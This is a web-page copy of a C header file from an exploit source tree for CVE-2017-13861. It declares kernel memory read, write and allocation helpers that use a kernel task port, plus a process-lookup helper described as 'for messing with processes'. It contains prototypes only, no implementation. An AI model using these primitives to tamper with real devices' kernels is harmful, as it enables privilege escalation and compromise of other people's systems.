Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/kernel_utils.h
Views: 11780
#import <stdio.h>1#import <mach-o/loader.h>2#import <stdlib.h>3#import <fcntl.h>4#import <unistd.h>5#import <errno.h>6#import <mach/mach.h>7#import <sys/stat.h>89// Needed definitions10kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);11kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);12kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);13kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);14kern_return_t mach_vm_protect (vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection);15kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt);16kern_return_t mach_vm_region(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name);1718// init function19void init_kernel_utils(mach_port_t tfp0, uint64_t kbase);20uint64_t get_kernel_slide();2122// kernel memory stuff23size_t KernelRead(uint64_t where, void *p, size_t size);24uint32_t KernelRead_32bits(uint64_t where);25uint64_t KernelRead_64bits(uint64_t where);26size_t KernelWrite(uint64_t where, const void *p, size_t size);27void KernelWrite_32bits(uint64_t where, uint32_t what);28void KernelWrite_64bits(uint64_t where, uint64_t what);29void Kernel_memcpy(uint64_t dest, uint64_t src, uint32_t length);30void Kernel_free(mach_vm_address_t address, vm_size_t size);31uint64_t Kernel_alloc(vm_size_t size);32uint64_t Kernel_alloc_wired(uint64_t size);33int Kernel_strcmp(uint64_t kstr, const char* str);3435// for messing with processes36uint64_t proc_of_pid(pid_t pid);3738// used to fix what kexecute returns39typedef struct {40uint64_t prev;41uint64_t next;42uint64_t start;43uint64_t end;44} kmap_hdr_t;45uint64_t ZmFixAddr(uint64_t addr);4647484950